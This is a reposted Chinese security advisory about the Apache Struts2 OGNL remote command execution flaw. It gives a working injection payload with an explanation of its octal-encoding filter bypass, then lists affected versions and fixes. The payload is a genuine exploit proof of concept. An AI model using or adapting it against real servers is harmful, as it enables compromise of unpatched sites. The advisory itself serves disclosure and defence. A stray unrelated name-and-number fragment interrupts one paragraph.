分享

Apache Struts2远程命令执行漏洞呈爆发趋势

 自由撰写者 2013-08-22

  近日,安恒信息安全小组发现Apache Struts2导致大量使用此框架的网站沦陷,Apache Struts2 框架是在2010年7月14日被发现存在一个严重命令执行漏洞,但随之出现了防范技术,最近随着struts2带回显功能的POC被公布,出现大量的利用工具,并导致大量使用此框架的网站沦陷,并呈扩散趋势。

  我们先来了解一下Apache Struts2,Struts2是在struts 和WebWork的技术基础上进行了合并后的全新框架。其全新的Struts 2的体系结构与Struts 1的体系结构的差别巨大。李云海 土豆(6336112); Struts 2以WebWork为核心,采用拦截器的机制来处理用户的请求,这样的设计也使得业务逻辑控制器能够与Servlet API完全脱离开,所以Struts 2可以理解为WebWork的更新产品.

  2010年期间Struts2爆发了一远程命令执行漏洞,曾经各种版本的漏洞利用工具让CNVD郁闷不已.

  一.漏洞细节

  以POST的方式提交绕过对输入参数的部分过滤。

  ('\43_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\43context[\'xwork.MethodAccessor.den

  yMethodExecution\']\75false')(d))&('\43c')(('\43_memberAccess.excludeProperties\75@java.util.Collections@EM

  PTY_SET')(c))&(asdf)(('\43rp\75@org.apache.struts2.ServletActionContext@getResponse()')(c))&(fgd)(('\43rp.ge

  tWriter().print("dbappsecurity")')(d)) (grgr)(('\43rp.getWriter().close()')(d))=1

  \75 (=的8进制)\40(空格的8进制)ongl语句中执行的参数不允许出现空格。当然包括其他老版本的正则 是^#=:都不允许,通杀的话是用\40来替代。

  这样上面就是

  1.设置上下文denyMethodExecution=false 运行方法执行

  2.excludeProperties=@java.util.Collections@EMPTY_SET (@class@调用静态变量)

  设置外部拦截器为空

  3.myout=org.apache.struts2.ServletActionContext@getResponse() ;得到repsonse的数据

  4.myout.getWriter().println("dbappsecurity") ;把response的数据打印到屏幕上。

  二.Struts2漏洞目前受到影响的系统包括:

  1.OpenSymphony XWork < 2.2.0

  2.Apache Group Struts < 2.2.0

  三.Struts2漏洞修复方案:

  1.下载最新的版本2.3.4:http://struts./download.cgi#struts234

  2.或者修改对应jar中的ongl处理逻辑,然后编译打包替换旧的文件。

  3.可使用安恒信息扫描器检测漏洞,运用安恒信息waf防护漏洞,安全点就只保留字母数字,其它的全部删除即可。

    本站是提供个人知识管理的网络存储空间,所有内容均由用户发布,不代表本站观点。请注意甄别内容中的联系方式、诱导购买等信息,谨防诈骗。如发现有害或侵权内容,请点击一键举报。
    转藏 分享 献花(0

    0条评论

    发表

    请遵守用户 评论公约

    类似文章 更多